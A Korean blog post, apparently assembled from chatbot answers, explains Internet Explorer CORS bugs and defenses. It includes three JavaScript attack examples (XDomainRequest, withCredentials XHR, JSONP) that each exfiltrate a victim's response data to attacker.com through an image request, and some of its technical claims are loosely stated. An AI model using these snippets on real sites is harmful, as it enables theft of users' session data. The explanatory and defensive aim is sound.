Internet Explorer(IE) CORS(Cross-Origin Resource Sharing) 관련 버그

by

Internet Explorer(IE)에서는 CORS(Cross-Origin Resource Sharing) 관련 버그와 제한 사항이 존재합니다. 대표적인 문제점은 다음과 같습니다.

1. IE의 CORS 버그 및 제한 사항

  • XDomainRequest 사용 제한: IE 8~9에서는 XMLHttpRequest 대신 XDomainRequest 객체를 사용해야 하는데, 이 객체는 일부 보안 기능이 부족하고 헤더 설정이 제한적입니다.
  • 쿠키 및 인증 정보 포함 제한: IE에서는 CORS 요청 시 withCredentials 옵션을 지원하지 않거나, 예상치 못한 방식으로 작동할 수 있습니다.
  • HTTP 응답 코드 처리 문제: IE는 CORS 요청에 대한 204 No Content 응답을 제대로 처리하지 못할 수 있습니다.
  • 헤더 제한: IE는 특정한 커스텀 헤더를 허용하지 않으며, 표준적인 Access-Control-Allow-Headers 값도 일부 제한됩니다.
  • OPTIONS 사전 요청 문제: 일부 IE 버전에서는 CORS 요청의 OPTIONS 프리플라이트 요청을 예상과 다르게 처리할 수 있습니다.

2. 이 버그를 악용할 수 있는 방법

CORS 버그를 악용하여 다음과 같은 보안 취약점이 발생할 가능성이 있습니다.

  • 정보 탈취: 보안이 설정되지 않은 서버에서 CORS 정책이 올바르게 구성되지 않으면, 공격자가 악성 웹사이트에서 피해자의 브라우저를 이용해 다른 도메인의 데이터를 가져올 수 있습니다.
  • CSRF(교차 사이트 요청 위조): CORS 정책이 제대로 적용되지 않으면 공격자가 사용자의 인증된 세션을 이용해 악의적인 요청을 보낼 수 있습니다.
  • 브라우저 버그 악용: CORS 요청을 변조하여 보안 허점을 노리는 공격이 가능할 수 있습니다.

3. 대응 방법

  • 최신 브라우저(Chrome, Edge 등)로 전환하여 IE의 CORS 버그를 피하는 것이 가장 안전합니다.
  • 서버 측에서 Access-Control-Allow-Origin을 철저히 설정하여 불필요한 도메인 접근을 제한해야 합니다.
  • 쿠키 기반 인증을 사용하는 경우, SameSite 정책을 설정하여 외부 도메인에서 요청이 들어오지 않도록 해야 합니다.
  • CORS 설정 시 Access-Control-Allow-Credentials: true를 불필요하게 사용하지 않도록 주의해야 합니다.

IE는 공식 지원이 종료되었으며, 보안상 위험이 크므로 가급적 최신 브라우저를 사용하는 것이 좋습니다.

Internet Explorer(IE)의 CORS 취약점을 이용한 정보 탈취 사례

IE의 CORS 버그를 악용하여 정보 탈취가 가능한 사례는 다음과 같이 발생할 수 있습니다.

1. XDomainRequest를 이용한 정보 탈취 (IE 8~9)

IE 8~9는 표준 XMLHttpRequest 대신 XDomainRequest(XDR)를 사용해야 하는데, 이는 몇 가지 보안 제한이 부족하여 공격자가 악용할 수 있습니다.

📌 공격 시나리오

  1. 취약한 서버가 Access-Control-Allow-Origin: * 설정
    공격자가 원하는 도메인에서도 데이터를 요청할 수 있도록 허용됨.
  2. IE 8~9의 XDomainRequest 사용
    • XDomainRequest는 보안 정책이 허술하여 공격자가 특정 웹사이트에서 사용자의 데이터를 요청할 수 있음.
    • Set-Cookie 기반 인증 정보를 사용하여 공격자가 로그인된 사용자 세션을 통해 민감한 데이터를 불러올 수 있음.
  3. 브라우저가 공격자의 스크립트를 통해 응답을 반환
    • 공격자는 피해자의 브라우저를 이용해 요청을 보낸 후 응답 데이터를 탈취할 수 있음.

🚨 예제 코드

if (window.XDomainRequest) {
    var xdr = new XDomainRequest();
    xdr.open("GET", "https://victim.com/user-data", true);
    xdr.onload = function () {
        // 탈취된 데이터 공격자의 서버로 전송
        var stolenData = xdr.responseText;
        var img = new Image();
        img.src = "https://attacker.com/log?data=" + encodeURIComponent(stolenData);
    };
    xdr.send();
}

👉 설명

  • XDomainRequest를 이용하여 victim.com/user-data에서 정보를 요청.
  • 공격자가 운영하는 attacker.com으로 탈취한 데이터를 전송.

🔴 문제점

  • XDomainRequest는 쿠키를 자동으로 포함하여 요청을 보낼 수 있음.
  • 인증된 사용자가 공격자 사이트를 방문하면, 자동으로 로그인된 세션으로 요청이 수행됨.
  • 응답 데이터를 공격자가 가져가서 악용 가능.

2. IE 11에서 CORS 정책 우회 및 쿠키 포함 요청

IE 11의 XMLHttpRequest는 withCredentials를 제대로 처리하지 못하는 경우가 있음. 즉, 원래는 Access-Control-Allow-Credentials: true가 설정되지 않은 경우 쿠키를 포함할 수 없어야 하지만, 특정 상황에서 우회 가능.

📌 공격 시나리오

  1. 사용자가 victim.com에 로그인하여 세션 쿠키가 저장됨.
  2. 공격자가 attacker.com에서 악성 스크립트를 실행하여 victim.com으로 요청을 보냄.
  3. 브라우저가 잘못된 CORS 정책을 처리하면서 쿠키를 포함한 요청을 보냄.
  4. 공격자는 응답 데이터를 수집하여 민감한 정보를 탈취.

🚨 공격 코드 예제

javascript복사편집var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.com/private-data", true);
xhr.withCredentials = true;  // 쿠키 포함 요청
xhr.onreadystatechange = function () {
    if (xhr.readyState === 4 && xhr.status === 200) {
        // 탈취한 데이터를 공격자 서버로 보냄
        var img = new Image();
        img.src = "https://attacker.com/steal?data=" + encodeURIComponent(xhr.responseText);
    }
};
xhr.send();

👉 설명

  • xhr.withCredentials = true;를 통해 사용자 세션을 이용하여 요청.
  • victim.com이 잘못된 CORS 정책을 가지고 있다면, 공격자가 응답을 받을 수 있음.
  • 결과적으로 민감한 사용자 정보가 공격자 서버로 전송됨.

3. JSONP를 이용한 CORS 우회

JSONP(JSON with Padding)는 CORS를 우회하는 방법으로, IE에서는 보안 조치가 미흡한 경우 우회가 가능함.

📌 공격 시나리오

  1. victim.com이 JSONP 엔드포인트를 제공 (https://victim.com/api?callback=handleData)
  2. 공격자가 attacker.com에 악성 스크립트를 심음.
  3. 피해자가 attacker.com을 방문하면, 공격자의 스크립트가 victim.com에 JSONP 요청을 보냄.
  4. 피해자의 브라우저에서 victim.com의 응답을 받아 실행.
  5. 공격자는 응답 데이터를 수집.

🚨 공격 코드 예제

<script>
function handleData(data) {
    var img = new Image();
    img.src = "https://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data));
}

var script = document.createElement("script");
script.src = "https://victim.com/api?callback=handleData";
document.body.appendChild(script);
</script>

👉 설명

  • JSONP 방식의 API는 callback을 허용하므로, 공격자가 handleData라는 함수명을 지정하여 응답을 받을 수 있음.
  • 공격자는 받은 데이터를 자신의 서버로 전송.

🔒 방어 방법

  1. CORS 정책을 엄격하게 설정
    • Access-Control-Allow-Origin을 특정 도메인만 허용하고 *를 사용하지 않음.
    • Access-Control-Allow-Credentials: true 설정을 필요할 때만 적용.
  2. IE 지원 종료 및 최신 브라우저 사용
    • IE의 보안 취약점을 피하기 위해 최신 브라우저(Chrome, Edge) 사용 권장.
  3. JSONP 사용 금지
    • JSONP는 보안상 취약하므로 CORS 정책을 활용한 안전한 API 요청 방식 사용.
  4. CSRF 보호
    • SameSite=strict 쿠키 설정을 적용하여 인증된 요청이 예상치 않은 도메인에서 실행되지 않도록 방어.

📌 결론

IE의 CORS 버그와 보안 취약점을 악용하면 공격자가 사용자의 세션을 이용해 민감한 정보를 탈취할 수 있습니다. 특히 XDomainRequest, withCredentials 처리 오류, JSONP 등은 CORS 정책이 제대로 설정되지 않은 경우 공격에 쉽게 노출될 수 있습니다. 현재 IE는 공식 지원이 종료되었으므로 보안을 위해 최신 브라우저로 전환하는 것이 필수입니다.

🚨 IE를 이용한 다른 사이트 정보 탈취 가능성

이론적으로는 Internet Explorer(IE)의 CORS 버그와 보안 취약점을 이용하면, 특정 사이트의 데이터를 불법적으로 가져올 가능성이 있습니다. 하지만 실제 공격을 시도하려면 여러 보안 장치를 우회해야 하고, 대부분의 최신 웹사이트에서는 이런 공격이 불가능하도록 설계되어 있습니다.

IE의 CORS 버그를 악용하면 “다른 사이트의 정보를 가져오는 것처럼 보일 수 있지만”, 다음과 같은 제약이 있습니다.

✅ 가능한 시나리오

  1. CORS 정책이 잘못된 사이트가 대상일 경우
    • Access-Control-Allow-Origin: * 설정이 되어 있다면, 특정 도메인의 데이터를 불법적으로 요청할 수 있음.
    • XDomainRequest를 사용하는 IE 8~9에서는 인증된 세션을 이용한 요청이 가능할 수도 있음.
  2. JSONP(JSON with Padding) API가 존재하는 경우
    • JSONP는 CORS를 우회할 수 있어, 공격자가 특정 API의 응답을 가로챌 수 있음.
    • ?callback=악성함수 방식으로 응답을 받을 수 있음.

❌ 불가능하거나 어려운 이유

  1. 대부분의 사이트가 보안 조치를 강화함
    • 현재 주요 웹사이트(예: 구글, 페이스북, 은행 사이트 등)는 Access-Control-Allow-Origin을 *로 열어두지 않음.
    • Access-Control-Allow-Credentials: true가 없으면 인증된 요청을 실행할 수 없음.
  2. IE의 지원이 종료됨
    • 최신 보안 패치가 적용되지 않아, 공격을 시도하기도 어려움.
    • 많은 사이트들이 이미 IE 지원을 중단했고, 최신 보안 기능이 부족한 브라우저에서는 정상적으로 작동하지 않음.
  3. 보안 헤더 (CSP, SameSite, Secure 등)로 방어됨
    • 쿠키가 SameSite=strict로 설정된 경우, 다른 사이트에서 쿠키 기반 요청을 보내도 인증되지 않음.
    • Content Security Policy (CSP)를 활용하는 경우, 특정 도메인에서만 요청을 허용하도록 방어됨.

🛑 결론: 다른 사이트의 정보를 쉽게 가져올 수 없음

  • 예전에는 IE의 보안 취약점을 이용한 정보 탈취가 가능했지만, 현재는 대부분의 주요 사이트들이 보안을 강화했기 때문에 현실적으로 성공 확률이 매우 낮음.
  • 최신 브라우저(Chrome, Edge, Firefox)는 기본적으로 이러한 공격을 차단함.
  • 공격을 시도하는 것은 법적 문제를 일으킬 수 있으며, 해킹 및 개인정보 보호법 위반에 해당할 수 있음.

👉 결론적으로, IE를 사용하여 다른 사이트의 데이터를 가져오는 것은 거의 불가능하며, 보안상 큰 위험이 따르므로 최신 브라우저를 사용해야 합니다.

클라이언트 입장에서 IE를 쓰는 게 더 안전할까?

👉 결론: 오히려 IE를 쓰는 것이 훨씬 더 위험합니다.

왜냐하면:

  1. IE는 더 이상 보안 패치를 받지 않음
    • 마이크로소프트는 2022년 6월 15일을 기점으로 IE 지원을 종료했습니다.
    • 보안 취약점이 발견되어도 더 이상 업데이트되지 않음 → 새로운 해킹 기술에 취약함.
  2. IE는 보안 기능이 부족함
    • 최신 브라우저(Chrome, Edge, Firefox 등)에는 Site Isolation, Sandboxing, CSP(Content Security Policy) 같은 강력한 보안 기능이 있음.
    • IE는 이런 기능이 부족하여 악성 사이트에 노출될 확률이 훨씬 높음.
  3. IE는 피싱 및 악성 코드 공격에 취약함
    • IE는 오래된 ActiveX 및 VBScript 같은 기술을 사용하므로, 랜섬웨어 및 악성 코드 감염 위험이 큼.
    • 최신 브라우저는 기본적으로 이런 기능을 차단하지만, IE는 그대로 노출됨.
  4. IE의 CORS 취약점이 클라이언트에게도 불리하게 작용함
    • 공격자가 IE의 CORS 버그를 악용하면, 사용자가 로그인한 사이트의 세션을 탈취할 가능성이 있음.
    • 사용자가 IE로 은행, 이메일, 쇼핑몰 등에 접속할 경우 보안에 취약한 방식으로 요청이 전송될 수 있음.

🛑 정리: IE를 쓰면 오히려 더 위험하다

IE를 쓰면 공격자가 클라이언트(사용자)의 정보를 쉽게 탈취할 수 있는 환경을 제공하는 것과 같음.
최신 브라우저는 보안 기능이 지속적으로 업데이트되므로, 오히려 더 안전함.

✔️ IE 대신 최신 브라우저(Chrome, Edge, Firefox)를 사용하고, 항상 최신 보안 업데이트를 유지하는 것이 최선의 방어책입니다.

Leave a Comment